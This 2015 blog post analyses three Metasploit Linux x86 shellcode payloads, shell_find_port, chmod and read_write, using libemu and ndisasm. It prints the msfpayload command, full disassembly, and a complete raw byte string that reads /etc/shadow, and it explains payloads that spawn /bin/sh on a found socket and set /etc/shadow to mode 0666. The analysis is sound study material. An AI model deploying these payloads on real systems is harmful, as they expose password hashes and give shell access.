Wednesday, January 7, 2015

Analysis of Linux metasploit shellcode

Shell Find Port shellcode

root@ubuntu:~# msfpayload linux/x86/shell_find_port S > shell_find_port
root@ubuntu:~/libemu/tools/sctest$ cat shell_find_port |./sctest -vvv -Ss 10000 -G shell_find_port.dot
root@ubuntu:~/libemu/tools/sctest$ dot shell_find_port.dot -Tpng -o shell_find_port.png

The above set of commands leverage the libemu library to produce a pictoral flow of the linux/x86/shell_find_port metasploit payload. Lets start with what we know. We know that the the value 0x66 represents the syscall number for a socketcall().




The value 0x66 (102 decimal) is pushed onto the stack and then EAX popped from the stack. This is an inderect way of loading 0x66 into the EAX register. We know that the socketcall() takes two values as input ie the int call and unsigned long *args from the man page. As we continue deeper into the code, we find that the getpeername() function is called. The call numbers are stored in the /usr/include/linux/net.h. A quick glance at the net.h file shows

#define SYS_GETPEERNAME    7        /* sys_getpeername(2)        */


which gives us insight on why the value 7 was loaded into the bl register. see blue arrow

Upon inspection of the getpeername man page,
GETPEERNAME(2)             Linux Programmer's Manual            GETPEERNAME(2)

NAME
       getpeername - get name of connected peer socket

SYNOPSIS
       #include <sys/socket.h>

       int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

DESCRIPTION
       getpeername()  returns  the address of the peer connected to the socket
       sockfd, in the buffer pointed to by addr.  The addrlen argument  should
       be  initialized to indicate the amount of space pointed to by addr.  On
       return it contains the actual size of the  name  returned  (in  bytes).
       The name is truncated if the buffer provided is too small.
We find that that it takes in a socket file descriptor as input, a pointer to the sock address. At this point it starts to make sense what the loop is about. It goes through the various port numbers while comparing their values to the present value of 0x32b2 which is port number 12978 in decimal. It iterates through the port numbers and sets the jz flag on success while ince=reasing the ECX register.
However it doesnt make sense for a payload to just iterate through ports without having an alterior motive. At this port I used ndisasm to inspect the same code.

root@ubuntu:~/libemu/tools/sctest$ cat new_shell_find_port |ndisasm -u -
00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  89E7              mov edi,esp
00000005  6A10              push byte +0x10
00000007  54                push esp
00000008  57                push edi
00000009  53                push ebx
0000000A  89E1              mov ecx,esp
0000000C  B307              mov bl,0x7
0000000E  FF01              inc dword [ecx]
00000010  6A66              push byte +0x66
00000012  58                pop eax
00000013  CD80              int 0x80
00000015  66817F02B232      cmp word [edi+0x2],0x32b2
0000001B  75F1              jnz 0xe
0000001D  5B                pop ebx
0000001E  6A02              push byte +0x2
00000020  59                pop ecx
00000021  B03F              mov al,0x3f
00000023  CD80              int 0x80
00000025  49                dec ecx
00000026  79F9              jns 0x21
00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f
0000002E  682F62696E        push dword 0x6e69622f
00000033  89E3              mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1              mov ecx,esp
00000039  99                cdq
0000003A  B00B              mov al,0xb
0000003C  CD80              int 0x80


Basically the libemu analysis stopped on line 0000001B because I didnt open the required port during analysis. With ndsasm we're able to see the proceeding constructs of the shellcode. I found that if the code gets out of the loop (upon finding an open port) a duplicating file descriptor is called (dup2). This can be seen from the value 0x3f being loaded into the EAX register and then the syscall being made.
0000001D  5B                pop ebx
0000001E  6A02              push byte +0x2
00000020  59                pop ecx
00000021  B03F              mov al,0x3f
00000023  CD80              int 0x80
The next portion of the code is fairly recognisable which means the payload goes ahead and spawns a /bin/sh shell on success and the syscall for execve 0xb can be seen loaded into the EAX register and the int 0x80 call made.

00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f
0000002E  682F62696E        push dword 0x6e69622f
00000033  89E3              mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1              mov ecx,esp
00000039  99                cdq
0000003A  B00B              mov al,0xb
0000003C  CD80              int 0x80
  
Analysis of metasploit's linux/x86/chmod shellcode

The first three instructions basically load the value 15 (0xf hex) into the EAX register which is the syscall number for the chmod() function.
roman@ubuntu:~/libemu/tools/sctest$ cat chmod_shellcode |ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call dword 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popad
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

Below is a section of the chmod man page.

CHMOD(2)                   Linux Programmer's Manual                  CHMOD(2)

NAME
       chmod, fchmod - change permissions of a file

SYNOPSIS
       #include <sys/stat.h>

       int chmod(const char *path, mode_t mode);
       int fchmod(int fd, mode_t mode);

   Feature Test Macro Requirements for glibc (see feature_test_macros(7)):

       fchmod():
           _BSD_SOURCE || _XOPEN_SOURCE >= 500 ||
           _XOPEN_SOURCE && _XOPEN_SOURCE_EXTENDED
           || /* Since glibc 2.12: */ _POSIX_C_SOURCE >= 200809L

DESCRIPTION
       These system calls change the permissions of a file.  They differ  only
       in how the file is specified:
 
From the manual we see that it takes two values as input. A pointer to the path of the file and the mode. After loading the values into the registers, the interrupt is called. The final portion of the code as we saw earlier id the exit routine. The screen shot below is generated from libemu and shows the order of execution.

Analysis of linux/x86/read_write metasploit shellcode

roman@ubuntu:~/SLAE$ echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8
\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb
\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff
\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" |ndisasm -u -

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7368              jnc 0xac
00000044  61                popad
00000045  646F              fs outsd
00000047  7700              ja 0x49


This shellcode leverages the jump call pop technique to avoid the nullbytes in the call forward if it were to jump forward. The value 5 is loaded into the EAX register which is the syscall number for open(). It takes in two variables ie *pathname and flags as shown in the manual below.


OPEN(2)                    Linux Programmer's Manual                   OPEN(2)



NAME

       open, create - open and possibly create a file or device



SYNOPSIS

       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>


       int open(const char *pathname, int flags);
       int open(const char *pathname, int flags, mode_t mode);
       int creat(const char *pathname, mode_t mode);


DESCRIPTION
       Given a pathname for a file, open() returns a file descriptor, a small,
       nonnegative integer  for  use  in  subsequent  system  calls  (read(2),
       write(2), lseek(2), fcntl(2), etc.).  The file descriptor returned by a
       successful call will be the lowest-numbered file  descriptor  not  cur‐
       rently open for the process.

The value zero is loaded into the ECX register and then the call is made.


00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80


The next portion of the code loads the value 3 into the EAX register which is the syscall number for read() from a file descriptor. The read function takes 3 variables, the file descriptor, pointer to buffer and count which is the maximum size of the file that can be read.

READ(2)                    Linux Programmer's Manual                   READ(2)


NAME
       read - read from a file descriptor

SYNOPSIS

       #include <unistd.h>

       ssize_t read(int fd, void *buf, size_t count);

DESCRIPTION

       read()  attempts to read up to count bytes from file descriptor fd into
       the buffer starting at buf.
       If count is zero, read() returns zero and has  no  other  results.   If
       count is greater than SSIZE_MAX, the result is unspecified.


So this makes sense since the above function opens the file and this one reads from it up to a maximum of 4096 bytes which is the 0x1000 in hex you see loaded into the EDX register. As usual the int 0x80 shows the syscall being made after the values have been loaded.

0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80


The next portion of the shellcode loads the value 4 into the EAX register which is the syscall number for write(). The write function like the read function takes 3 values as input ie file descriptor, a pointer to the buffer and the size of the bytes to be written

WRITE(2)                   Linux Programmer's Manual                  WRITE(2)



NAME
       write - write to a file descriptor


SYNOPSIS
       #include <unistd.h>

       ssize_t write(int fd, const void *buf, size_t count);

DESCRIPTION

       write()  writes  up  to  count bytes from the buffer pointed buf to the
       file referred to by the file descriptor fd.


In the shellcode we see the value 1 loaded into the ebx register which is the file descriptor value which translates to standard output(stdout). The call is then made.

00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80


The remainder of the code is basically an exit routine which can be recognized from the value 1 being loaded into the EAX register. Zero is loaded into the EBX register and then the interrupt is called.

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

No comments:

Post a Comment